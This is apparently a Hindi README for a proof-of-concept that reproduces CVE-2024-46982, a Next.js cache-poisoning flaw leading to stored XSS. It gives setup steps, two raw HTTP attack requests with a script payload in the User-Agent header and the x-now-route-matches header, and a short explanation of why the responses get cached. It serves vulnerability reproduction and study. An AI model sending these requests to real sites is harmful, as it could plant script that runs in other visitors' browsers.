CVE-2024-46982-Reproduction

शुरू करना

1. Node.js LTS स्थापित करें
2. npm install
3. npm run build
4. npm run start

शोषण 1: कैश पॉइज़निंग के माध्यम से संग्रहीत XSS

1. किसी भी HTTP क्लाइंट का उपयोग करके निम्नलिखित HTTP अनुरोध (हमला अनुरोध) भेजें।

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. किसी भी वेब ब्राउज़र का उपयोग करके http://localhost:3000 (सामान्य अनुरोध) पर जाएँ।

शोषण 2: कैश पॉइज़निंग के माध्यम से संग्रहीत XSS

1. किसी भी HTTP क्लाइंट का उपयोग करके निम्नलिखित HTTP अनुरोध (हमला अनुरोध) भेजें, सुनिश्चित करें कि आप "UiKoKFFGnF1td3mMyeDX5" को अपने ".next/BUILD_ID" से बदल दें।

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. किसी भी वेब ब्राउज़र का उपयोग करके http://localhost:3000 (सामान्य अनुरोध) पर जाएँ।

यह कैसे काम करता है ?

1. x-now-route-matches Next.js द्वारा मान्यता प्राप्त एक कस्टम HTTP हैडर है। जब यह मौजूद होता है, तो Next.js HTTP अनुरोध को "SSG" (Static Site Generation) के रूप में मानेगा, जिससे HTTP प्रतिक्रिया कैश की जा सकती है (Cache-Control: s-maxage=1, stale-while-revalidate)।

2. ?__nextDataReq=1 Next.js द्वारा मान्यता प्राप्त एक क्वेरीस्ट्रिंग है। जब यह मौजूद होता है, तो Next.js HTTP अनुरोध को "Retrieving __NEXT_DATA__" के रूप में मानेगा।

पूरा विवरण श्रेय अनुभाग में पाया जा सकता है।

श्रेय

• https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir